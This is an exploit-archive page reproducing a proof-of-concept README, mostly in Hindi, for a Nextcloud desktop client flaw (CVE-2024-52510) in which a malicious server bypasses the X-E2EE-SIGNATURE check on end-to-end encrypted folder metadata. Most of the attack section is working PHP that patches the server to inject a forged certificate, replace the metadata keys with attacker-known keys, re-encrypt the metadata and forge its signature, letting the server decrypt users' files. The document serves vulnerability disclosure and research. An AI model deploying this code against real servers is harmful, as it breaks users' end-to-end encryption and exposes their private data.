Sploitus

Exploit for CVE-2024-52510

kitploit ┬╖ 2026-09-06

Exploit Code

MARKDOWN384 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-D-XUAN-CVE-2024-52510
# Nextcloud X-E2EE-SIGNATURE рдмрд╛рдпрдкрд╛рд╕ POC

## рд╕рд╛рд░рд╛рдВрд╢

  * Nextcloud рдХреЗ E2EEv2 рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХреЗ рд╕рд╛рдорд╛рдиреНрдп рд╕рдВрдЪрд╛рд▓рди рдХреЗ рджреМрд░рд╛рди, рдХреНрд▓рд╛рдЗрдВрдЯ рд╕рд░реНрд╡рд░ рдкрд░ рдЕрдкрд▓реЛрдб рдХрд░рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рдлрд╝реЛрд▓реНрдбрд░-рдореЗрдЯрд╛рдбреЗрдЯрд╛ рдкрд░ рдХреНрд░рд┐рдкреНрдЯреЛрдЧреНрд░рд╛рдлрд╝рд┐рдХ рд░реВрдк рд╕реЗ рд╣рд╕реНрддрд╛рдХреНрд╖рд░ рдХрд░рддреЗ рд╣реИрдВред рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдлрд╝рд╛рдЗрд▓-рд╕рд╛рдЭрд╛рдХрд░рдг рдпрд╛ рд╕рд┐рдВрдХрд┐рдВрдЧ рдкрд░рд┐рд╡рд░реНрддрдиреЛрдВ рдХреЗ рдЙрджреНрджреЗрд╢реНрдп рд╕реЗ рдЗрд╕реЗ рдкреБрдирдГ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдкрд░ рдореЗрдЯрд╛рдбреЗрдЯрд╛ рдХреЗ рд╕рд╛рде рдЫреЗрдбрд╝рдЫрд╛рдбрд╝ рдирд╣реАрдВ рдХреА рдЧрдИ рд╣реИред

  * рд╣рд╕реНрддрд╛рдХреНрд╖рд░ рд╕рддреНрдпрд╛рдкрди рдХреНрд▓рд╛рдЗрдВрдЯ рджреНрд╡рд╛рд░рд╛ `foldermetadata.cpp:177` рдореЗрдВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрдм рдкреНрд░рд╛рдкреНрдд рдореЗрдЯрд╛рдбреЗрдЯрд╛ рдкреНрд░рд╛рд░рдВрдн рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдПрдХ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рд╕рд░реНрд╡рд░ рдЗрд╕ рдЬрд╛рдБрдЪ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рджреЛ рддрд░реАрдХреЗ рд╣реИрдВ:

    * рд╡реЗ рдПрдХ рдЦрд╛рд▓реА `X-E2EE-SIGNATURE` рд░рд┐рд╕реНрдкрд╛рдВрд╕ рд╣реЗрдбрд░ рдХреЗ рд╕рд╛рде рдЙрддреНрддрд░ рджреЗ рд╕рдХрддреЗ рд╣реИрдВред рдЪреВрдБрдХрд┐ рд╣реЗрдбрд░ рдЦрд╛рд▓реА рд╣реИ, `foldermetadata.cpp:168` рдкрд░ рд╕реНрдерд┐рдд рд╢рд░реНрдд рдХрд╛ рдЕрд░реНрде рд╣реИ рдХрд┐ рд╣рд╕реНрддрд╛рдХреНрд╖рд░ рд╕рддреНрдпрд╛рдкрди рдирд╣реАрдВ рд╣реЛрддрд╛ рд╣реИ, рдФрд░ рд╕рдВрд╢реЛрдзрд┐рдд рдореЗрдЯрд╛рдбреЗрдЯрд╛ рдХреНрд▓рд╛рдЗрдВрдЯ рджреНрд╡рд╛рд░рд╛ рд╕реНрд╡реАрдХрд╛рд░ рдХрд░ рд▓рд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред

    * рд╡реЗ `users` JSON рдРрд░реЗ рдореЗрдВ рдПрдХ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдФрд░ рдлрд┐рд░ рдЙрд╕ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдХреЗ рд╕рд╛рде рдореЗрдЯрд╛рдбреЗрдЯрд╛ рдкрд░ рд╣рд╕реНрддрд╛рдХреНрд╖рд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЪреВрдБрдХрд┐ `clientsideencryption.cpp:941` рдкрд░ `CMS_NO_SIGNER_CERT_VERIFY` рдкрд╛рд╕ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рд╣рд╕реНрддрд╛рдХреНрд╖рд░ рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдХрд╛ рдЪреЗрди-рд╕рддреНрдпрд╛рдкрди рдирд╣реАрдВ рд╣реЛрддрд╛ рд╣реИ рдФрд░ рдХреНрд▓рд╛рдЗрдВрдЯ рдХреЗрд╡рд▓ рдпрд╣ рдЬрд╛рдБрдЪрддрд╛ рд╣реИ рдХрд┐ рд╣рд╕реНрддрд╛рдХреНрд╖рд░ рдХрд░рдиреЗ рд╡рд╛рд▓рд╛ рдкреНрд░рдорд╛рдгрдкрддреНрд░ `clientsideencryption.cpp:955-971` рдореЗрдВ `certificatePems` рд╡реЗрдХреНрдЯрд░ рдореЗрдВ рдореМрдЬреВрдж рд╣реИ, рдЬреЛ рд╕рд░реНрд╡рд░ рджреНрд╡рд╛рд░рд╛ рдирд┐рдпрдВрддреНрд░рд┐рдд рд╣реЛрддрд╛ рд╣реИред

  * рдЗрд╕ POC рдореЗрдВ рд╣рдо рджреВрд╕рд░реА рд╡рд┐рдзрд┐ рдХрд╛ рдкреНрд░рджрд░реНрд╢рди рдХрд░реЗрдВрдЧреЗ рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ рд╡рд┐рдзрд┐ рд▓рд╛рдЧреВ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдзрд┐рдХ рдХрдард┐рди рд╣реИ, рд╣рд╛рд▓рд╛рдБрдХрд┐ рджреЛрдиреЛрдВ рдХреЛ рдХрд╛рд░реНрдп рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкрд░реАрдХреНрд╖рдг рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред

  * рдПрдХ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рд╕рд░реНрд╡рд░ рдЗрд╕ рдмрд╛рдпрдкрд╛рд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХреНрд▓рд╛рдЗрдВрдЯреНрд╕ рдХреЛ рд╕рд░реНрд╡рд░ рдХреЛ рдЬреНрдЮрд╛рдд рдореЗрдЯрд╛рдбреЗрдЯрд╛ рдХреБрдВрдЬрд┐рдпрд╛рдБ рдкреНрд░рджрд╛рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд░ рд╕рдХрддрд╛ рд╣реИред рдХреНрд▓рд╛рдЗрдВрдЯ рддрдм рдЗрд╕ рдореЗрдЯрд╛рдбреЗрдЯрд╛ рдХреБрдВрдЬреА рдХрд╛ рдЙрдкрдпреЛрдЧ рдмрд╛рдж рдХреА рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд░реЗрдВрдЧреЗ, рдЬрд┐рд╕рд╕реЗ рд╕рд░реНрд╡рд░ рдПрдВрдб-рдЯреВ-рдПрдВрдб рдПрдиреНрдХреНрд░рд┐рдкреНрдЯреЗрдб рдлрд╝реЛрд▓реНрдбрд░реЛрдВ рдореЗрдВ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рдбрд┐рдХреНрд░рд┐рдкреНрдЯ рдФрд░ рдкрдврд╝ рд╕рдХрддрд╛ рд╣реИред

> рд╣рд╕реНрддрд╛рдХреНрд╖рд░ рдмрд╛рдпрдкрд╛рд╕ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдиреЗ рдХрд╛ рдпрд╣ рддрд░реАрдХрд╛ 2023 рдореЗрдВ Albrecht, Backendal, Coppola, Paterson рджреНрд╡рд╛рд░рд╛ E2EE рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХреЗ рдкрд┐рдЫрд▓реЗ рд╕рдВрд╕реНрдХрд░рдг рдкрд░ рдЦреЛрдЬреЗ рдЧрдП рдПрдХ рд╣рдорд▓реЗ рдкрд░ рдЖрдзрд╛рд░рд┐рдд рд╣реИ (https://eprint.iacr.org/2024/546)ред рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ, рдореЗрдЯрд╛рдбреЗрдЯрд╛ рдХреБрдВрдЬрд┐рдпреЛрдВ рдХрд╛ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рд╣рдорд▓реЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд╢рдорди рд░рдгрдиреАрддрд┐ рдереА (рд▓рд┐рдВрдХ рдХрд┐рдП рдЧрдП рдкреЗрдкрд░ рдХрд╛ рдЕрдиреБрднрд╛рдЧ 5.1 рджреЗрдЦреЗрдВ)ред




## рдкреБрдирд░реБрддреНрдкрд╛рджрди рдХреЗ рдЪрд░рдг

  1. рдЗрд╕ рд░рд┐рдкреЙрдЬрд┐рдЯрд░реА рдХреЛ рдХреНрд▓реЛрди рдХрд░реЗрдВ, рдФрд░ DevContainer рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЗрд╕реЗ VS Code рдореЗрдВ рдЦреЛрд▓реЗрдВред Nextcloud рд╕рд░реНрд╡рд░ рд░рд┐рдкреЙрдЬрд┐рдЯрд░реА рдореЗрдВ рдореМрдЬреВрдж рдПрдХ рдкрд░ рдЖрдзрд╛рд░рд┐рдд DevContainer рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкрд░рд┐рд╡рд░реНрддрдиреЛрдВ рдХреЗ рд╕рд╛рде рдкреНрд░рджрд╛рди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ:

     * рдбрд┐рдмрдЧрд┐рдВрдЧ рдЙрджреНрджреЗрд╢реНрдпреЛрдВ рдХреЗ рд▓рд┐рдП, рдкреЛрд░реНрдЯ `7001` рдкрд░ рдПрдХ `mitmproxy` рд░рд┐рд╡рд░реНрд╕ рдкреНрд░реЙрдХреНрд╕реА рдореМрдЬреВрдж рд╣реИред рд╡реЗрдм UI рдХреЛ рдкреЛрд░реНрдЯ `7002` рдкрд░ рдПрдХреНрд╕реЗрд╕ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
     * Nextcloud рд╕рд░реНрд╡рд░ рдХреА рд╕реНрдерд╛рдкрдирд╛ рдкрд░, `encryption` рдФрд░ `end_to_end_encryption` рдРрдкреНрд╕ рднреА рд╕рдХреНрд╖рдо рд╣реЛрдВрдЧреЗ, рдФрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо рдФрд░ рдкрд╛рд╕рд╡рд░реНрдб `sharer` рд╡рд╛рд▓рд╛ рдПрдХ рдЦрд╛рддрд╛ рдмрдирд╛рдпрд╛ рдЬрд╛рдПрдЧрд╛ред
  2. рд╕рд░реНрд╡рд░ рдЪрд╛рд▓реВ рд╣реЛрдиреЗ рдХреЗ рдмрд╛рдж, рдирд╡реАрдирддрдо рдХреНрд▓рд╛рдЗрдВрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ `http://localhost:8000` рдкрд░ (рдпрд╛ `http://localhost:7001` рдкрд░ рд░рд┐рд╡рд░реНрд╕ рдкреНрд░реЙрдХреНрд╕реА рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ) рдЙрд╕рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░реЗрдВред рд╡рд░реНрддрдорд╛рди рдореЗрдВ рдореИрдВрдиреЗ рдЗрд╕реЗ v3.13.2 AppImage рдкрд░ рдкрд░реАрдХреНрд╖рдг рдХрд┐рдпрд╛ рд╣реИред




root@kitploit:~
    
    
    sha256sum Nextcloud-3.13.2-x86_64.AppImage 
    92ec0a5260f6260fa8ce92acdb022c441f0efbf6b57cc96d75ac608ccb4c4ee2  Nextcloud-3.13.2-x86_64.AppImage
    

  3. рд╕рдВрдХреЗрдд рдорд┐рд▓рдиреЗ рдкрд░, рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо `sharer` рдФрд░ рдкрд╛рд╕рд╡рд░реНрдб `sharer` рдХреЗ рд╕рд╛рде рд▓реЙрдЧ рдЗрди рдХрд░реЗрдВред рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд╕рд┐рдВрдХрд┐рдВрдЧ рд╡рд┐рдХрд▓реНрдк (рдЗрд╕рдХреЗ рдЕрдВрджрд░ `welcome.txt` рдХреЗ рд╕рд╛рде рдПрдХ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ `~/Nextcloud/` рдмрдирд╛рдирд╛) рд╕реНрд╡реАрдХрд╛рд░ рдХрд░реЗрдВ, рдФрд░ Nextcloud рдХреНрд▓рд╛рдЗрдВрдЯ рд╕реЗрдЯрд┐рдВрдЧреНрд╕ рдореЗрдВ рдПрдВрдб-рдЯреВ-рдПрдВрдб рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рд╕реЗрдЯ рдХрд░реЗрдВред

  4. `~/Nextcloud` рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдХреЗ рдЕрдВрджрд░ рдПрдХ рдирдпрд╛ рдлрд╝реЛрд▓реНрдбрд░ `encrypted_folder` рдмрдирд╛рдПрдБред Nextcloud рдХреНрд▓рд╛рдЗрдВрдЯ рд╕реЗрдЯрд┐рдВрдЧреНрд╕ рдореЗрдВ, рдЗрд╕ рдлрд╝реЛрд▓реНрдбрд░ рдХреЛ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯреЗрдб рдХреЗ рд░реВрдк рдореЗрдВ рдЪрд┐рд╣реНрдирд┐рдд рдХрд░реЗрдВред




![](https://assets.kitploit.com/production/public/readmes/24301/674b7e3462579a76bdf7d601dacf74c503a6b8b181d2a7acdd9b182ceff8b256.png)

  5. `Nextcloud/encrypted_folder` рдХреЗ рдЕрдВрджрд░, рдПрдХ рд╕рд╛рдзрд╛рд░рдг рдЯреЗрдХреНрд╕реНрдЯ рдлрд╝рд╛рдЗрд▓ рдмрдирд╛рдПрдБ рдФрд░ рдЗрд╕рдХреЗ рд╕рд┐рдВрдХ рд╣реЛрдиреЗ рдХреА рдкреНрд░рддреАрдХреНрд╖рд╛ рдХрд░реЗрдВред



root@kitploit:~
    
    
    # ~/Nextcloud/encrypted_folder
    $ echo 'this should be encrypted' > file.txt
    

  6. `http://localhost:8080/` рдкрд░ Adminer рдореЗрдВ Postgres рдбреЗрдЯрд╛рдмреЗрд╕ рдореЗрдВ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд▓реЙрдЧ рдЗрди рдХрд░реЗрдВ:

     * рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо: `postgres`
     * рдкрд╛рд╕рд╡рд░реНрдб: `postgres`
     * рдбреЗрдЯрд╛рдмреЗрд╕: `postgres`



рдФрд░ `oc_e2e_encryption_metadata` рдФрд░ `oc_e2e_encryption_decrypted` рддрд╛рд▓рд┐рдХрд╛рдУрдВ рдкрд░ рдиреЗрд╡рд┐рдЧреЗрдЯ рдХрд░реЗрдВред рдЖрдкрдХреЛ рдбрд┐рдХреНрд░рд┐рдкреНрдЯреЗрдб рдореЗрдЯрд╛рдбреЗрдЯрд╛ рдФрд░ рдлрд╝рд╛рдЗрд▓ рд╕рд╛рдордЧреНрд░реА рд╕реНрдкрд╖реНрдЯ рд░реВрдк рдореЗрдВ рджреЗрдЦрдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдПред

![](https://assets.kitploit.com/production/public/readmes/24301/cc7874d0ce0018d335e44e1af6e6b581e0031b4c73515a8d5dff54dd704b936b.png) ![](https://assets.kitploit.com/production/public/readmes/24301/c1a30022ae0590a1b2eb62c00f811a5f454e8be5b24963a3be56618f5c61c06f.png)

> рдЙрдкрд░реЛрдХреНрдд рд╕реНрдХреНрд░реАрдирд╢реЙрдЯ рдореЗрдВ рдХреБрдЫ рдЕрддрд┐рд░рд┐рдХреНрдд рдкрд░реАрдХреНрд╖рдг рдлрд╝рд╛рдЗрд▓реЗрдВ рдмрдирд╛рдИ рдФрд░ рд╣рдЯрд╛рдИ рдЧрдИ рдереАрдВ, рдЗрд╕рд▓рд┐рдП рд╡реЗ рдЖрдкрдХреЗ рджреНрд╡рд╛рд░рд╛ рджреЗрдЦреЗ рдЬрд╛рдиреЗ рд╕реЗ рдереЛрдбрд╝реЗ рднрд┐рдиреНрди рд╣реЛрдВрдЧреЗред

## рддрдХрдиреАрдХреА рд╡рд┐рд╡рд░рдг

рдпрд╣ рд░рд┐рдкреЙрдЬрд┐рдЯрд░реА Nextcloud рд╕рд░реНрд╡рд░ рдФрд░ рдПрдВрдб-рдЯреВ-рдПрдВрдб рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рдРрдк рд░рд┐рдкреЙрдЬрд┐рдЯрд░реА рдкрд░ рдЖрдзрд╛рд░рд┐рдд рд╣реИред рдЕрдзрд┐рдХрд╛рдВрд╢ рдХреЛрдб рдЕрдкрд░рд┐рд╡рд░реНрддрд┐рдд рд░рд╣рддрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдореИрдВ рдпрд╣ рд╕рдордЭрд╛рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реВрдБрдЧрд╛ рдХрд┐ рдХрд┐рди рдЪреАрдЬрд╝реЛрдВ рдХреЛ рдмрджрд▓рд╛ рдЧрдпрд╛ рд╣реИред

рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ, `MetaDataStorage.php` рдХреА `getMetadata` рд╡рд┐рдзрд┐ рдХреЛ рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдмрджрд▓рд╛ рдЧрдпрд╛ рд╣реИ рдХрд┐ рд╡рд╣ рдПрдХ рдирдИ `getFakeUserMetadata` рд╡рд┐рдзрд┐ рдореЗрдВ рдХреЙрд▓ рдХрд░рдХреЗ рд▓реМрдЯрд╛рдП рдЧрдП рдореЗрдЯрд╛рдбреЗрдЯрд╛ рдХреЗ рд╕рд╛рде рдЫреЗрдбрд╝рдЫрд╛рдбрд╝ рдХрд░реЗред

root@kitploit:~
    
    
    --- original/lib/MetaDataStorage.php	2024-07-11 23:38:16.105826088 +1000
    +++ nc-server/apps/end_to_end_encryption/lib/MetaDataStorage.php	2024-07-11 21:05:37.734565037 +1000
    @@ -68,14 +82,12 @@
     			return $legacyFile->getContent();
     		}
     
    -		$folderName = $this->getFolderNameForFileId($id);
    -		$folder = $this->appData->getFolder($folderName);
    +		$metaData = $this->getFakeUserMetadata($id);
     
    -		return $folder
    -			->getFile($this->metaDataFileName)
    -			->getContent();
    +		return $metaData;
     	}
    

`getFakeUserMetadata` рд╡рд┐рдзрд┐ рдореЗрдВ, рд╣рдо рдкрд╣рд▓реЗ рдПрдХ рдЪреБрдиреЗ рд╣реБрдП рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдХреЛ `users` JSON рдХреБрдВрдЬреА рдореЗрдВ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рддреЗ рд╣реИрдВред рдпрд╣ рд╣рд╕реНрддрд╛рдХреНрд╖рд░ рдЬрд╛рд▓рд╕рд╛рдЬреА рдХреЛ рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рд╣реИред

root@kitploit:~
    
    
    	private function getFakeUserMetadata(int $id): string {
    		$folderName = $this->getFolderNameForFileId($id);
    		$folder = $this->appData->getFolder($folderName);
    
    		$metaData = json_decode($folder->getFile($this->metaDataFileName)->getContent());
    
    		if (is_null($metaData->users)) {
    			/* This is a non-root metadata. Return as normal*/
    			return json_encode($metaData);
    		}
    				
    		/* 
    		 * Step 1: Inject a fake public key into the metadata
    		 * This can be used to forge a signature for the response.
    		 */
    		$found = false;
    		foreach ($metaData->users as $userData) {
    			if ($userData->userId === $this->fakeUserId) {
    				$found = true;
    				break;
    			}
    		}
    		if (!$found) {
    			try {
    				$certificateFile = $folder->getFile($this->fakeUserPublicCertificateFileName);
    				$privateKeyFile = $folder->getFile($this->fakeUserPrivateKeyFileName);
    				$pemCertificate = $certificateFile->getContent();
    			} catch (NotFoundException $e) {
    				/* Create a new private key for the fake user */
    				$privateKey = openssl_pkey_new();
    				openssl_pkey_export($privateKey, $privateKeyPem);
    				$folder->newFile($this->fakeUserPrivateKeyFileName)->putContent($privateKeyPem);
    
    				/* Client is expecting a certificate for the public key */
    				$csr = openssl_csr_new(array(), $privateKey);
    				$certificate = openssl_csr_sign($csr, null, $privateKey, 365);
    				openssl_x509_export($certificate, $pemCertificate);
    				$folder->newFile($this->fakeUserPublicCertificateFileName)->putContent($pemCertificate);
    			}
    
    			$newUser = new \stdClass();
    			$newUser->certificate = $pemCertificate;
    			array_push($metaData->users, $newUser); 
    		}
    

рдлрд┐рд░, рдЪреВрдБрдХрд┐ рд╣рдорд╛рд░реЗ рдкрд╛рд╕ рдХреНрд▓рд╛рдЗрдВрдЯ рдХреА рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рдХреБрдВрдЬреА рддрдХ рдкрд╣реБрдБрдЪ рд╣реИ, рд╣рдо рдЕрдкрдиреА рд╕реНрд╡рдпрдВ рдХреА рдХреБрдВрдЬрд┐рдпреЛрдВ рдХреЛ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯреЗрдб рдореЗрдЯрд╛рдбреЗрдЯрд╛ рдХреБрдВрдЬрд┐рдпреЛрдВ рдХреЛ рдЙрди рдХреБрдВрдЬрд┐рдпреЛрдВ рд╕реЗ рдмрджрд▓ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд┐рдиреНрд╣реЗрдВ рд╣рдо рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рддреЗ рд╣реИрдВред

root@kitploit:~
    
    
    		/* 
    	 	 * Step 2: Change all the metadata keys to keys that we control.
    		 */
    		foreach ($metaData->users as $userData) {
    			$publicKey = PublicKeyLoader::load($userData->certificate)->withHash('sha256')->withMGFHash('sha256');
    			$fakeEncryptedMetadataKey = $publicKey->encrypt($this->fakeMetadataKey);
    			$userData->encryptedMetadataKey = base64_encode($fakeEncryptedMetadataKey);
    		}	
    
    		/* We need to set userId after setting encryptedMetadataKey, as Qt will serialize json keys in alphabetical order */
    		if (!is_null($newUser)) {
    			$newUser->userId = $this->fakeUserId;
    		}
    

рдЪреВрдБрдХрд┐ рд╣рдордиреЗ рдореЗрдЯрд╛рдбреЗрдЯрд╛ рдХреБрдВрдЬрд┐рдпреЛрдВ рдХреЗ рд╕рд╛рде рдЫреЗрдбрд╝рдЫрд╛рдбрд╝ рдХреА рд╣реИ, рд╣рдореЗрдВ рд╕рд┐рдлрд░рдЯреЗрдХреНрд╕реНрдЯ рдХреЛ рднреА рдмрджрд▓рдирд╛ рд╣реЛрдЧрд╛ред рдпрджрд┐ рд╣рдордиреЗ рдкрд╣рд▓реЗ рд╣реА рд╣рдорд▓реЗ рдХреЛ рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ рдЪрд▓рд╛ рд▓рд┐рдпрд╛ рд╣реИ, рддреЛ рд╣рдорд╛рд░реЗ рдкрд╛рд╕ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдореЗрдЯрд╛рдбреЗрдЯрд╛ рддрдХ рдкрд╣реБрдБрдЪ рд╣реЛрдЧреА рдЬрд┐рд╕реЗ рд╣рдо рдкреБрдирдГ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЕрдиреНрдпрдерд╛ рд╣рдо рдПрдХ рдЦрд╛рд▓реА рдореЗрдЯрд╛рдбреЗрдЯрд╛ рдСрдмреНрдЬреЗрдХреНрдЯ рдкреНрд░рд╛рд░рдВрдн рдХрд░реЗрдВрдЧреЗ рдФрд░ рдЙрд╕реЗ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯ рдХрд░реЗрдВрдЧреЗред

root@kitploit:~
    
    
    		/* 
    		 * Step 3: Replace the encrypted metadata with one that can be decrypted under the new key.
    		 * Then as long as we don't trigger a downsync, the next PUT will 
    		 * contain metadata encrypted with a key known to us.
    		 */
    		$fakeMetadata = new \stdClass();
    		$fakeMetadata->folders = new \stdClass();
    		$fakeMetadata->files = new \stdClass();
    
    		try {
    			$metadataEntities = $this->metadataMapper->getByFolderId($id);
    			foreach ($metadataEntities as $metadataEntity) {
    				$encryptedFilename = $metadataEntity->getEncryptedFilename();
    				if ($metadataEntity->isDirectory()) {
    					$fakeMetadata->folders->$encryptedFilename = $metadataEntity->toJson();
    				} else {
    					$fakeMetadata->files->$encryptedFilename = $metadataEntity->toJson();
    				}
    			}
    		} catch (DoesNotExistException $ex) {
    			/* Return empty metadata */
    		}
    
    		$fakeMetadata->counter = $this->getCounter($id);
    		/* keyChecksums needs to contain the SHA256 of the decrypted metadata key (in hex) */
    		$fakeMetadata->keyChecksums = array();
    		array_push($fakeMetadata->keyChecksums, hash("sha256", $this->fakeMetadataKey));
    
    		/* Then the AES-128-GCM ciphertext of the gzipped json object goes into the response */
    		$plaintext = gzencode(json_encode($fakeMetadata));
    		$nonce = openssl_random_pseudo_bytes(16);
    		$ciphertext = openssl_encrypt($plaintext, "aes-128-gcm", $this->fakeMetadataKey, OPENSSL_RAW_DATA, $nonce, $authenticationTag);
    
    		$metaData->metadata->authenticationTag = base64_encode($authenticationTag);
    		$metaData->metadata->ciphertext = base64_encode($ciphertext . $authenticationTag) . "|" . base64_encode($nonce);
    		$metaData->metadata->nonce = base64_encode($nonce);
    
    		$metaData = json_encode($metaData, JSON_UNESCAPED_SLASHES);
    		
    		/* Ensure whatever metadata we return syncs up with what is stored on disk */
    		$folder->getFile($this->metaDataFileName)->putContent($metaData);
    

рдЕрдВрдд рдореЗрдВ, рд╣рдо рдЫреЗрдбрд╝рдЫрд╛рдбрд╝ рдХрд┐рдП рдЧрдП JSON рдкреЗрд▓реЛрдб рдХреЛ рд▓реЗрддреЗ рд╣реИрдВ рдФрд░ рдЕрдкрдиреЗ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдХреЗ рд╕рд╛рде рдЙрд╕ рдкрд░ рдкреБрдирдГ рд╣рд╕реНрддрд╛рдХреНрд╖рд░ рдХрд░рддреЗ рд╣реИрдВред рдПрдХ рд╡рд┐рдХрд▓реНрдк рдпрд╣ рднреА рд╣реЛрдЧрд╛ рдХрд┐ рдпрд╣рд╛рдБ рдЦрд╛рд▓реА рд╣рд╕реНрддрд╛рдХреНрд╖рд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рдПред

root@kitploit:~
    
    
    		/* Note: We only need to forge a signature for root metadata */
    		$certificateFile = $folder->getFile($this->fakeUserPublicCertificateFileName);
    		$privateKeyFile = $folder->getFile($this->fakeUserPrivateKeyFileName);
    
    		$pemCertificate = $certificateFile->getContent();
    		$privateKey = openssl_pkey_get_private($privateKeyFile->getContent());
    		
    		$signatureTempFile = tempnam(sys_get_temp_dir(), "signature");
    		$metadataTempFile = tempnam(sys_get_Temp_dir(), "metadata");
    		file_put_contents($metadataTempFile, base64_encode($metaData));
    		if (openssl_cms_sign($metadataTempFile, $signatureTempFile, $pemCertificate, $privateKey, array(), 0, OPENSSL_ENCODING_DER)) {
    			$signature = base64_encode(file_get_contents($signatureTempFile));
    			$this->writeSignature($folder, $this->metaDataSignatureFileName, $signature);
    		} else {
    			$this->writeSignature($folder, $this->metaDataSignatureFileName, "");
    		}
    		unlink($signatureTempFile);
    		unlink($metadataTempFile);
    
    		return $metaData;
    	}
    

